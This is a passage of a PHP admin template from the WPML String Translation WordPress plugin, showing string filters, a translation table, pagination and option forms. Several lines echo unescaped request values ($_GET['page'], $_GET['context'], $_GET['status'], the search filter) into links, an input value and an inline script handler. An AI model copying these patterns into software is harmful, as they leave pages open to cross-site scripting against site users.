<?php if($icl_st_pending = icl_st_get_pending_string_translations_stats()): ?>
<?php foreach($icl_st_pending as $lang=>$count): $lang_details = $sitepress->get_language_details($lang); ?>
<option value="<?php echo ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR .'-' . $lang ?>" <?php if(isset($status_filter_lang) && $status_filter_lang == $lang):?>selected="selected"<?php endif;?>><?php printf(__('Pending %s translation (%d)', 'wpml-string-translation'), $lang_details['display_name'], $count) ?></option>
<?php endforeach; ?>
<?php endif; ?>
<?php else: ?>
<option value="<?php echo ICL_STRING_TRANSLATION_NOT_TRANSLATED ?>" <?php if($status_filter === ICL_STRING_TRANSLATION_NOT_TRANSLATED):?>selected="selected"<?php endif;?>><?php echo __('Translation needed', 'wpml-string-translation') ?></option>
<option value="<?php echo ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR ?>" <?php if($status_filter === ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR):?>selected="selected"<?php endif;?>><?php echo __('Waiting for translator', 'wpml-string-translation') ?></option>
<?php endif; ?>
</select>
<?php if(!empty($icl_contexts)): ?>
<span style="white-space:nowrap">
<?php echo __('Select strings within context:', 'wpml-string-translation')?>
<select name="icl_st_filter_context">
<option value="" <?php if($context_filter === false ):?>selected="selected"<?php endif;?>><?php echo __('All contexts', 'wpml-string-translation') ?></option>
<?php foreach($icl_contexts as $v):?>
<option value="<?php echo htmlspecialchars($v->context)?>" <?php if($context_filter == $v->context ):?>selected="selected"<?php endif;?>><?php echo $v->context . ' ('.$v->c.')'; ?></option>
<?php endforeach; ?>
</select>
</span>
<?php endif; ?>
<span style="white-space:nowrap">
<label>
<?php echo __('Search for:', 'wpml-string-translation')?>
<input type="text" id="icl_st_filter_search" value="<?php echo $search_filter ?>" />
</label>
<label>
<input type="checkbox" id="icl_st_filter_search_em" value="1" <?php if($exact_match):?>checked="checked"<?php endif;?> />
<?php echo __('Exact match', 'wpml-string-translation')?>
</label>
<input class="button" type="button" value="<?php _e('Search', 'wpml-string-translation')?>" id="icl_st_filter_search_sb" />
</span>
<?php if($search_filter): ?>
<span style="white-space:nowrap">
<?php printf(__('Showing only strings that contain %s', 'wpml-string-translation'), '<i>' . htmlspecialchars($search_filter). '</i>') ; ?>
<input class="button" type="button" value="<?php _e('Exit search', 'wpml-string-translation')?>" id="icl_st_filter_search_remove" />
</span>
<?php endif; ?>
</p>
<table id="icl_string_translations" class="widefat" cellspacing="0">
<thead>
<tr>
<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" /></th>
<th scope="col"><?php echo __('Context', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('Name', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('View', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('String', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('Status', 'wpml-string-translation') ?></th>
</tr>
</thead>
<tfoot>
<tr>
<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" /></th>
<th scope="col"><?php echo __('Context', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('Name', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('View', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('String', 'wpml-string-translation') ?></th>
<th scope="col"><?php echo __('Status', 'wpml-string-translation') ?></th>
</tr>
</tfoot>
<tbody>
<?php if(empty($icl_string_translations)):?>
<tr>
<td colspan="6" align="center"><?php echo __('No strings found', 'wpml-string-translation')?></td>
</tr>
<?php else: ?>
<?php foreach($icl_string_translations as $string_id=>$icl_string): ?>
<tr valign="top">
<td><input class="icl_st_row_cb" type="checkbox" value="<?php echo $string_id ?>" /></td>
<td><?php echo htmlspecialchars($icl_string['context']); ?></td>
<td><?php echo htmlspecialchars(_icl_st_hide_random($icl_string['name'])); ?></td>
<td nowrap="nowrap">
<?php if(isset($icl_strings_in_page[ICL_STRING_TRANSLATION_STRING_TRACKING_TYPE_SOURCE][$string_id])): ?>
<a class="thickbox" title="<?php _e('view in source', 'wpml-string-translation') ?>"
href="admin.php?page=<?php echo WPML_ST_FOLDER ?>%2Fmenu%2Fstring-translation.php&icl_action=view_string_in_source&string_id=<?php
echo $string_id ?>&width=810&height=600"><img src="<?php echo WPML_ST_URL ?>/res/img/view-in-source.png" width="16" height="16"
alt="<?php _e('view in page', 'wpml-string-translation') ?>" /></a>
<?php endif; ?>
<?php if(isset($icl_strings_in_page[ICL_STRING_TRANSLATION_STRING_TRACKING_TYPE_PAGE][$string_id])): ?>
<a class="thickbox" title="<?php _e('view in page', 'wpml-string-translation') ?>"
href="admin.php?page=<?php echo WPML_ST_FOLDER ?>%2Fmenu%2Fstring-translation.php&icl_action=view_string_in_page&string_id=<?php
echo $string_id ?>&width=810&height=600"><img src="<?php echo WPML_ST_URL ?>/res/img/view-in-page.png" width="16" height="16"
alt="<?php _e('view in page', 'wpml-string-translation') ?>" /></a>
<?php endif; ?>
</td>
<td width="70%">
<div class="icl-st-original"<?php _icl_string_translation_rtl_div($sitepress_settings['st']['strings_language']); ?>>
<?php echo htmlspecialchars($icl_string['value']); ?>
</div>
<div style="float:right;">
<a href="#icl-st-toggle-translations"><?php echo __('translations','wpml-string-translation') ?></a>
</div>
<br clear="all" />
<div class="icl-st-inline">
<?php foreach($active_languages as $lang): if($lang['code'] == $sitepress_settings['st']['strings_language']) continue; ?>
<?php
if(isset($icl_string['translations'][$lang['code']]) && $icl_string['translations'][$lang['code']]['status'] == ICL_STRING_TRANSLATION_COMPLETE){
$tr_complete_checked = 'checked="checked"';
}else{
if(icl_st_is_translator()){
global $current_user;
get_currentuserinfo();
$user_lang_pairs = get_user_meta(get_current_user_id(), $wpdb->prefix.'language_pairs', true);
if(empty($user_lang_pairs[$sitepress_settings['st']['strings_language']][$lang['code']])){
continue;
}
}
$tr_complete_checked = '';
}
if(icl_st_is_translator()){
$icl_pro_status = $wpdb->get_var($wpdb->prepare("
SELECT c.status FROM {$wpdb->prefix}icl_core_status c
JOIN {$wpdb->prefix}icl_string_status s ON s.rid = c.rid
WHERE s.string_translation_id = %d AND target=%s AND status = %d
ORDER BY s.id DESC LIMIT 1
", $icl_string['string_id'], $lang['code'], CMS_TARGET_LANGUAGE_ASSIGNED));
if(
isset($icl_string['translations'][$lang['code']]) &&
(
$icl_string['translations'][$lang['code']]['translator_id'] == get_current_user_id() ||
(
is_null($icl_string['translations'][$lang['code']]['translator_id']) &&
$icl_string['translations'][$lang['code']]['status'] == ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR &&
!$icl_pro_status
)
)
){
$form_disabled = '';
}else{
$form_disabled = ' disabled="disabled" ';
}
}else{
$form_disabled = '';
}
?>
<form class="icl_st_form" name="icl_st_form_<?php echo $lang['code'] . '_' . $string_id ?>" action="">
<?php wp_nonce_field('icl_st_save_translation_nonce', '_icl_nonce') ?>
<input type="hidden" name="icl_st_language" value="<?php echo $lang['code'] ?>" />
<input type="hidden" name="icl_st_string_id" value="<?php echo $string_id ?>" />
<table class="icl-st-table">
<tr>
<td style="border:none">
<?php echo $lang['display_name'] ?>
<br />
<img class="icl_ajx_loader" src="<?php echo WPML_ST_URL ?>/res/img/ajax-loader.gif" style="float:left;display:none;position:absolute;margin:5px" alt="" />
<?php
$rows = ceil(strlen($icl_string['value'])/80);
$temp_line_array = preg_split( '/\n|\r/', $icl_string['value'] );
$temp_num_lines = count($temp_line_array);
$rows = $rows + $temp_num_lines;
?>
<textarea<?php echo $form_disabled ?><?php _icl_string_translation_rtl_textarea($lang['code']); ?>rows="<?php echo $rows ?>" cols="40" name="icl_st_translation" <?php if(isset($icl_string['translations'][$lang['code']])): ?>id="icl_st_ta_<?php echo $icl_string['translations'][$lang['code']]['id'] ?>"<?php endif;?>><?php
if(isset($icl_string['translations'][$lang['code']]) && !is_null($icl_string['translations'][$lang['code']]['value'])) echo $icl_string['translations'][$lang['code']]['value']; else echo $icl_string['value'];
?></textarea>
</td>
</tr>
<tr>
<td align="right" style="border:none">
<?php
if(current_user_can('manage_options') && isset($icl_string['translations'][$lang['code']]['status']) &&
$icl_string['translations'][$lang['code']]['status'] == ICL_STRING_TRANSLATION_WAITING_FOR_TRANSLATOR
){
echo '<div style="float: left;">';
echo '<i>' . __('Waiting for a local translator.', 'wpml-string-translation') . '</i> ';
echo '<a href="#cancel-local-'.$icl_string['translations'][$lang['code']]['id'].'" onclick="icl_st_cancel_local_translation(jQuery(this))">'
.__('Cancel', 'wpml-string-translation').'</a>';
echo '</div>';
}else{
if(isset($icl_string['translations'][$lang['code']]) && $icl_string['translations'][$lang['code']]['translator_id'] > 0){
$_user = get_userdata($icl_string['translations'][$lang['code']]['translator_id']);
if(!empty($_user)){
echo '<div style="float:left;margin-right:4px;"><small>';
printf(__('Translated by %s on %s', 'wpml-string-translation'), $_user->display_name , $icl_string['translations'][$lang['code']]['translation_date']);
echo '</small></div>';
}
}else{
$icl_pro_status = $wpdb->get_var($wpdb->prepare("
SELECT c.status FROM {$wpdb->prefix}icl_core_status c
JOIN {$wpdb->prefix}icl_string_status s ON s.rid = c.rid
WHERE s.string_translation_id = %d AND target=%s AND status = %d
ORDER BY s.id DESC LIMIT 1
", $icl_string['string_id'], $lang['code'], CMS_TARGET_LANGUAGE_ASSIGNED));
if(!empty($icl_pro_status)){
echo '<div style="float: left;"><small>';
echo "ICanLocalize: " . icl_decode_translation_status_id($icl_pro_status);
echo '</small></div>';
}
}
}
?>
<?php if(isset($icl_string['translations'][$lang['code']]['value']) && preg_match('#<([^>]*)>#im',$icl_string['translations'][$lang['code']]['value'])):?>
<br clear="all" /><div style="text-align:left;display:none" class="icl_html_preview"></div>
<a href="#" class="alignleft icl_htmlpreview_link">HTML preview</a>
<?php endif; ?>
<label><input<?php echo $form_disabled ?> type="checkbox" name="icl_st_translation_complete" value="1" <?php echo $tr_complete_checked ?> <?php if(isset($icl_string['translations'][$lang['code']])): ?>id="icl_st_cb_<?php echo $icl_string['translations'][$lang['code']]['id'] ?>"<?php endif;?> /> <?php echo __('Translation is complete','wpml-string-translation')?></label>
<input<?php echo $form_disabled ?> type="submit" class="button-secondary action" value="<?php echo __('Save', 'wpml-string-translation')?>" />
</td>
</tr>
</table>
</form>
<?php endforeach;?>
</div>
</td>
<td nowrap="nowrap" id="icl_st_string_status_<?php echo $string_id ?>">
<span>
<?php
$icl_status = icl_translation_get_string_translation_status($string_id);
if ($icl_status != "") {
$icl_status = '<br /><span class="meta_comment">' . __('ICanLocalize ', 'wpml-string-translation').$icl_status . '</span>';
}
echo $icl_st_string_translation_statuses[$icl_string['status']].$icl_status;
?>
</span>
<input type="hidden" id="icl_st_wc_<?php echo $string_id ?>" value="<?php
echo $WPML_String_Translation->estimate_word_count($icl_string['value'], $sitepress_settings['st']['strings_language']) ?>" />
</td>
</tr>
<?php endforeach;?>
<?php endif; ?>
</tbody>
</table>
<?php if($wp_query->found_posts > 10): ?>
<div class="tablenav" style="width:70%;float:right;">
<?php
$page_links = paginate_links( array(
'base' => add_query_arg('paged', '%#%' ),
'format' => '',
'prev_text' => '«',
'next_text' => '»',
'total' => $wp_query->max_num_pages,
'current' => isset($_GET['paged']) ? $_GET['paged'] : 1,
'add_args' => isset($icl_translation_filter)?$icl_translation_filter:array()
));
?>
<?php if(isset($_GET['show_results']) && $_GET['show_results']=='all'): ?>
<div class="tablenav-pages">
<a href="admin.php?page=<?php echo $_GET['page'] ?><?php if(isset($_GET['context'])) echo '&context='.$_GET['context'];?><?php if(isset($_GET['status'])) echo '&status='.$_GET['status'];?>"><?php printf(__('Display %d results per page', 'wpml-string-translation'), $sitepress_settings['st']['strings_per_page']); ?></a>
</div>
<?php endif; ?>
<div class="tablenav-pages">
<?php if ( $page_links ): ?>
<?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s–%s of %s', 'wpml-string-translation' ) . '</span>%s',
number_format_i18n( ( $_GET['paged'] - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ),
number_format_i18n( min( $_GET['paged'] * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ),
number_format_i18n( $wp_query->found_posts ),
$page_links
); echo $page_links_text;
?>
<?php endif; ?>
<?php if(!isset($_GET['show_results'])): ?>
<?php echo __('Strings per page:', 'wpml-string-translation')?>
<?php
$params = array('context', 'status', 'search', 'em');
$spp_qsa = '';
foreach($params as $p){
if(isset($_GET[$p])){
$spp_qsa .= '&' . urlencode($p) . '=' . urlencode($_GET[$p]);
}
}
?>
<select name="icl_st_per_page" onchange="location.href='admin.php?page=<?php echo $_GET['page']?><?php echo $spp_qsa ?>&strings_per_page='+this.value">
<option value="10"<?php if($sitepress_settings['st']['strings_per_page']==10) echo ' selected="selected"'; ?>>10</option>
<option value="20"<?php if($sitepress_settings['st']['strings_per_page']==20) echo ' selected="selected"'; ?>>20</option>
<option value="50"<?php if($sitepress_settings['st']['strings_per_page']==50) echo ' selected="selected"'; ?>>50</option>
<option value="100"<?php if($sitepress_settings['st']['strings_per_page']==100) echo ' selected="selected"'; ?>>100</option>
</select>
<a href="admin.php?page=<?php echo $_GET['page'] ?>&show_results=all<?php if(isset($_GET['context'])) echo '&context='.$_GET['context'];?><?php if(isset($_GET['status'])) echo '&status='.$_GET['status'];?>"><?php echo __('Display all results', 'wpml-string-translation'); ?></a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php if(current_user_can('manage_options')): // the rest is only for admins. not for editors ?>
<span class="subsubsub">
<input type="hidden" id="_icl_nonce_dstr" value="<?php echo wp_create_nonce('icl_st_delete_strings_nonce') ?>" />
<input type="button" class="button-secondary" id="icl_st_delete_selected" value="<?php echo __('Delete selected strings', 'wpml-string-translation') ?>" disabled="disabled" />
<span style="display:none"><?php echo __("Are you sure you want to delete these strings?\nTheir translations will be deleted too.",'wpml-string-translation') ?></span>
</span>
<br clear="all" />
<br />
<form method="post" id="icl_st_send_strings" name="icl_st_send_strings" action="">
<input type="hidden" name="icl_st_action" value="send_strings" />
<input type="hidden" name="strings" value="" />
<input type="hidden" name="icl-tr-from" value="<?php echo $sitepress_settings['st']['strings_language']; ?>" />
<?php
if (!empty($sitepress_settings['icl_lang_status'])){
foreach($sitepress_settings['icl_lang_status'] as $lang){
if($lang['from'] == $sitepress->get_current_language()) {
$target_status[$lang['to']] = $lang['have_translators'];
$target_rate[$lang['to']] = $lang['max_rate'];
}
}
}
?>
<?php if(isset($WPML_Translation_Management)): ?>
<table id="icl-tr-opt" class="widefat fixed" cellspacing="0" style="width:100%">
<thead>
<tr>
<th><?php _e('Translation options', 'wpml-string-translation')?></th>
</tr>
</thead>
<tbody>
<tr>
<td>
<ul id="icl_tm_languages">
<?php foreach($sitepress->get_active_languages()as $lang):?>
<?php
if($lang['code'] == $sitepress_settings['st']['strings_language']) continue;
?>
<li>
<label><input type="checkbox" name="translate_to[<?php echo $lang['code'] ?>]" value="1" id="icl_st_translate_to_<?php echo $lang['code'] ?>" />
<?php printf(__('Translate to %s', 'wpml-string-translation'),$lang['display_name'])?></label>
<select name="service[<?php echo $lang['code'] ?>]" id="icl_st_service_<?php echo $lang['code']; ?>">
<?php if(isset($target_status[$lang['code']]) && $target_status[$lang['code']]):?>
<option value="icanlocalize"><?php _e('Use translators from ICanLocalize', 'wpml-string-translation') ?></option>
<?php endif; ?>
<option value="local"><?php _e('Use local translators', 'wpml-string-translation') ?></option>
</select>
</label>
<a href="admin.php?page=<?php echo WPML_TM_FOLDER ?>/menu/main.php&sm=translators"><?php _e('Manage translators', 'wpml-string-translation'); ?></a>
<?php if(isset($target_status[$lang['code']]) && $target_status[$lang['code']]):?>
<span style="display: none;" id="icl_st_max_rate_<?php echo $lang['code'] ?>"><?php echo $target_rate[$lang['code']] ?></span>
<span style="display: none;" id="icl_st_estimate_<?php echo $lang['code'] ?>_wrap" class="icl_st_estimate_wrap">
(<?php printf(__('Estimated cost: %s USD', 'wpml-translation-management'),
'<span id="icl_st_estimate_' . $lang['code'] . '">0</span>') ?>)</span>
<?php endif; ?>
</li>
<?php endforeach; ?>
</ul>
<input name="iclnonce" type="hidden" value="<?php echo wp_create_nonce('icl-string-translation') ?>" />
<input id="icl_send_strings" class="button-primary" type="submit" value="<?php _e('Translate strings', 'wpml-translation-management') ?>" disabled="disabled" />
</td>
</tr>
</tbody>
</table>
<?php if(isset($sitepress_settings['icl_balance'])): ?>
<br clear="all" />
<p>
<?php echo sprintf(__('Your balance with ICanLocalize is %s. Visit your %sICanLocalize finance%s page to deposit additional funds.', 'wpml-string-translation'),
'$'.$sitepress_settings['icl_balance'],
$sitepress->create_icl_popup_link(ICL_API_ENDPOINT.'/finance/?wid=' . $sitepress_settings['site_id'], array('title'=>'ICanLocalize')),
'</a>',
'wpml-string-translation')?>
</p>
<br />
<?php endif; ?>
<?php endif; ?>
</form>
<br style="clear:both;" />
<div id="dashboard-widgets-wrap">
<div id="dashboard-widgets" class="metabox-holder">
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-stsel" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_stsel_1" class="postbox">
<div class="handlediv" title="<?php echo __('Click to toggle', 'wpml-string-translation'); ?>">
<br/>
</div>
<h3 class="hndle">
<span><?php echo __('Track where string appear on the site', 'wpml-string-translation')?></span>
</h3>
<div class="inside">
<p class="sub"><?php echo __("WPML can keep track of where strings are used on the public pages. Activating this feature will enable the 'view in page' functionality and make translation easier.", 'wpml-string-translation')?></p>
<form id="icl_st_track_strings" name="icl_st_track_strings" action="">
<?php wp_nonce_field('icl_st_track_strings_nonce', '_icl_nonce'); ?>
<p class="icl_form_errors" style="display:none"></p>
<ul>
<li>
<input type="hidden" name="icl_st[track_strings]" value="0" />
<label><input type="checkbox" id="icl_st_track_strings" name="icl_st[track_strings]" value="1" <?php
if(!empty($sitepress_settings['st']['track_strings'])): ?>checked="checked"<?php endif ?> />
<?php _e('Track where strings appear on the site', 'wpml-string-translation'); ?></label>
<p><a href="http://wpml.org/?p=9073"><?php _e('Performance considerations', 'wpml-string-translation') ?> »</a></p>
</li>
<li>
<label>
<?php _e('Highlight color for strings', 'wpml-string-translation'); ?>
<?php $hl_color = !empty($sitepress_settings['st']['hl_color'])?$sitepress_settings['st']['hl_color']:'#FFFF00'; ?>
<input type="text" size="7" id="icl_st_hl_color" name="icl_st[hl_color]" value="<?php echo $hl_color ?>"
style="background-color:<?php echo $hl_color ?>" />
</label>
<img src="<?php echo WPML_ST_URL; ?>/res/img/icon_color_picker.png" id="icl_st_hl_picker"
alt="" border="0" style="vertical-align:bottom;cursor:pointer;" class="pick-show"
onclick="cp.show('icl_st_hl_color');return false;" />
</li>
</ul>
<p>
<input class="button-secondary" type="submit" name="iclt_st_save" value="<?php _e('Apply', 'wpml-string-translation')?>" />
<span class="icl_ajx_response" id="icl_ajx_response2" style="display:inline"></span>
</p>
</form>
</div>
</div>
<div id="dashboard_wpml_stsel_1.5" class="postbox">
<div class="handlediv" title="<?php echo __('Click to toggle', 'wpml-string-translation'); ?>">
<br/>
</div>
<h3 class="hndle">
<span><?php echo __('Auto register strings for translation', 'wpml-string-translation')?></span>
</h3>
<div class="inside">
<p class="sub"><?php echo __('WPML can automatically register strings for translation. This allows you to translate user-generated content with minimal PHP code.', 'wpml-string-translation')?></p>
<form id="icl_st_ar_form" name="icl_st_ar_form" method="post" action="">
<?php wp_nonce_field('icl_st_ar_form_nonce', '_icl_nonce') ?>
<p class="icl_form_errors" style="display:none"></p>
<ul>
<li>
<label>
<input type="radio" name="icl_auto_reg_type" value="disable" <?php if($sitepress_settings['st']['icl_st_auto_reg'] == 'disable'):?>checked="checked"<?php endif?> />
<?php echo __('Disable auto-register strings', 'sitepress') ?>
</label>
</li>
<li>
<label>
<input type="radio" name="icl_auto_reg_type" value="auto-admin" <?php if(!$sitepress_settings['st']['icl_st_auto_reg'] || $sitepress_settings['st']['icl_st_auto_reg'] == 'auto-admin'):?>checked="checked"<?php endif?> />
<?php echo __('Auto-register strings only when logged in as an administrator', 'sitepress') ?>
</label>
</li>
<li>
<label>
<input type="radio" name="icl_auto_reg_type" value="auto-always" <?php if($sitepress_settings['st']['icl_st_auto_reg'] == 'auto-always'):?>checked="checked"<?php endif?> />
<?php echo __('Auto-register strings always', 'sitepress') ?>
</label>
<p><a href="http://wpml.org/?p=9073"><?php _e('Performance considerations', 'wpml-string-translation') ?> »</a></p>
</li>
</ul>
<p>
<input class="button-secondary" type="submit" name="iclt_auto_reg_apply" value="<?php echo __('Apply', 'wpml-string-translation')?>" />
<span class="icl_ajx_response" id="icl_ajx_response3" style="display:inline"></span>
</p>
</form>
</div>
</div>
<div id="dashboard_wpml_stsel_2" class="postbox">
<div class="handlediv" title="<?php echo __('Click to toggle', 'wpml-string-translation'); ?>">
<br/>
</div>
<h3 class="hndle">
<span><?php echo __('Original language of strings', 'wpml-string-translation')?></span>
</h3>
<div class="inside">
<p class="sub"><?php echo __('Choose the language in which the strings are written in.', 'wpml-string-translation')?></p>
<form id="icl_st_sw_form" name="icl_st_sw_form" method="post" action="">
<?php wp_nonce_field('icl_sw_form') ?>
<p class="icl_form_errors" style="display:none"></p>
<ul>
<li>
<label>
<?php echo __('Strings Language', 'wpml-string-translation'); ?>
<select name="icl_st_sw[strings_language]">
<?php foreach($sitepress->get_languages($sitepress->get_admin_language()) as $l): ?>
<option value="<?php echo $l['code'] ?>" <?php
if($l['code'] == $sitepress_settings['st']['strings_language']): ?>selected="selected"<?php endif; ?>><?php echo $l['display_name'] ?></option>
> <?php endforeach; ?>
</select>
</label>
</li>
</ul>
<p>
<input class="button-secondary" type="submit" name="iclt_st_sw_save" value="<?php echo __('Save options and rescan strings', 'wpml-string-translation')?>" />
<span class="icl_ajx_response" style="display:inline"> <?php if(isset($_GET['updated']) && $_GET['updated']=='true') echo __('Settings saved', 'wpml-string-translation') ?></span>
</p>
</form>
</div>
</div>
</div>
</div>
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-poie" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_st_poie" class="postbox">
<div class="handlediv" title="<?php echo __('Click to toggle', 'wpml-string-translation'); ?>">
<br/>
</div>
<h3 class="hndle">
<span><?php echo __('Import / export .po', 'wpml-string-translation')?></span>
</h3>
<div class="inside">
<h5><?php echo __('Import', 'wpml-string-translation')?></h5>
<form id="icl_st_po_form" action="" name="icl_st_po_form" method="post" enctype="multipart/form-data">
<?php wp_nonce_field('icl_po_form') ?>
<p class="sub">
<label for="icl_po_file"><?php echo __('.po file:', 'wpml-string-translation')?></label>
<input id="icl_po_file" class="button primary" type="file" name="icl_po_file" />
</p>
<p class="sub" style="line-height:2.3em">
<input type="checkbox" name="icl_st_po_translations" id="icl_st_po_translations" />
<label for="icl_st_po_translations"><?php echo __('Also create translations according to the .po file', 'wpml-string-translation')?></label>
<select name="icl_st_po_language" id="icl_st_po_language" style="display:none">
<?php foreach($active_languages as $al): if($al['code']==$sitepress_settings['st']['strings_language']) continue; ?>
<option value="<?php echo $al['code'] ?>"><?php echo $al['display_name'] ?></option>
<?php endforeach; ?>
</select>
</p>
<p class="sub" style="line-height:2.3em" >
<?php echo __('Select what the strings are for:', 'wpml-string-translation');?>
<?php if(!empty($available_contexts)): ?>
<span>
<select name="icl_st_i_context">
<option value="">-------</option>
<?php foreach($available_contexts as $v):?>
<option value="<?php echo htmlspecialchars($v)?>" <?php if($context_filter == $v ):?>selected="selected"<?php endif;?>><?php echo $v; ?></option>
<?php endforeach; ?>
</select>
<a href="#" onclick="var __nxt = jQuery(this).parent().next(); jQuery(this).prev().val(''); jQuery(this).parent().fadeOut('fast',function(){__nxt.fadeIn('fast')});return false;"><?php echo __('new','wpml-string-translation')?></a>
</span>
<?php endif; ?>
<span <?php if(!empty($available_contexts)):?>style="display:none"<?php endif ?>>
<input type="text" name="icl_st_i_context_new" />
<?php if(!empty($available_contexts)):?>
<a href="#" onclick="var __prv = jQuery(this).parent().prev(); jQuery(this).prev().val(''); jQuery(this).parent().fadeOut('fast',function(){__prv.fadeIn('fast')});return false;"><?php echo __('select from existing','wpml-string-translation')?></a>
<?php endif ?>
</span>
</p>
<p>
<input class="button" name="icl_po_upload" id="icl_po_upload" type="submit" value="<?php echo __('Submit', 'wpml-string-translation')?>" />
<span id="icl_st_err_domain" class="icl_error_text" style="display:none"><?php echo __('Please enter a context!', 'wpml-string-translation')?></span>
<span id="icl_st_err_po" class="icl_error_text" style="display:none"><?php echo __('Please select the .po file to upload!', 'wpml-string-translation')?></span>
</p>
</form>
<?php if(!empty($icl_contexts)):?>
<h5><?php echo __('Export strings into .po/.pot file', 'wpml-string-translation')?></h5>
<form method="post" action="">
<?php wp_nonce_field('icl_po_export') ?>
<p>
<?php echo __('Select context:', 'wpml-string-translation')?>
<select name="icl_st_e_context" id="icl_st_e_context">
<option value="" <?php if($context_filter === false ):?>selected="selected"<?php endif;?>><?php echo __('All contexts', 'wpml-string-translation') ?></option>
<?php foreach($icl_contexts as $v):?>
<option value="<?php echo htmlspecialchars($v->context)?>" <?php if($context_filter == $v->context ):?>selected="selected"<?php endif;?>><?php echo $v->context . ' ('.$v->c.')'; ?></option>
<?php endforeach; ?>
</select>
</p>
<p style="line-height:2.3em">
<input type="checkbox" name="icl_st_pe_translations" id="icl_st_pe_translations" checked="checked" value="1" onchange="if(jQuery(this).attr('checked'))jQuery('#icl_st_e_language').fadeIn('fast'); else jQuery('#icl_st_e_language').fadeOut('fast')" />
<label for="icl_st_pe_translations"><?php echo __('Also include translations', 'wpml-string-translation')?></label>
<select name="icl_st_e_language" id="icl_st_e_language">
<?php foreach($active_languages as $al): if($al['code']==$sitepress_settings['st']['strings_language']) continue; ?>
<option value="<?php echo $al['code'] ?>"><?php echo $al['display_name'] ?></option>
<?php endforeach; ?>
</select>
</p>
<p><input type="submit" class="button-secondary" name="icl_st_pie_e" value="<?php echo __('Submit', 'wpml-string-translation')?>" /></p>
<?php endif ?>
</form>
</div>
</div>
</div>
</div>
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-moreoptions" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_st_poie" class="postbox">
<div class="handlediv" title="<?php echo __('Click to toggle', 'wpml-string-translation'); ?>">
<br/>
</div>
<h3 class="hndle">
<span><?php echo __('More options', 'wpml-string-translation')?></span>
</h3>
<div class="inside">
<form id="icl_st_more_options" name="icl_st_more_options" method="post">
<?php wp_nonce_field('icl_st_more_options_nonce', '_icl_nonce') ?>
<div>
<?php
$editable_roles = get_editable_roles();
if(!isset($sitepress_settings['st']['translated-users'])) $sitepress_settings['st']['translated-users'] = array();
$tnames = array();
foreach($editable_roles as $role => $details){
if(in_array($role, $sitepress_settings['st']['translated-users'])){
$tnames[] = translate_user_role($details['name'] );
}
}
$tustr = '<span id="icl_st_tusers_list">';
if(!empty($tnames)){
$tustr .= join(', ' , array_map('translate_user_role', $tnames));
}else{
$tustr = __('none', 'wpml-string-translation');
}
$tustr .= '</span>';
$tustr .= ' <a href="#" onclick="jQuery(\'#icl_st_tusers\').slideToggle();return false;">' . __('edit', 'wpml-string-translation') . '</a>';
?>
<?php printf(__('Translating users of types: %s', 'wpml-string-translation'), $tustr); ?>
<div id="icl_st_tusers" style="padding:6px;display: none;">
<?php
foreach ( $editable_roles as $role => $details ) {
$name = translate_user_role($details['name'] );
$checked = in_array($role, (array)$sitepress_settings['st']['translated-users']) ? ' checked="checked"' : '';
?>
<label><input type="checkbox" name="users[<?php echo $role ?>]" value="1"<?php echo $checked ?>/> <span><?php echo $name ?></span></label>
<?php
}
?>
</div>
</div>
<p class="submit">
<input class="button-secondary" type="submit" value="<?php esc_attr_e('Apply', 'wpml-string-translation') ?>" />
<span class="icl_ajx_response" id="icl_ajx_response4" style="display:inline"></span>
</p>
</form>
</div>
</div>
</div>
</div>
</div>
<br clear="all" /><br />
<a href="admin.php?page=<?php echo WPML_ST_FOLDER ?>/menu/string-translation.php&trop=1"><?php _e('Translate texts in admin screens »', 'wpml-string-translation'); ?></a>
<?php endif; //if(current_user_can('manage_options') ?>
<?php endif; ?>
<?php do_action('icl_menu_footer'); ?>
</div>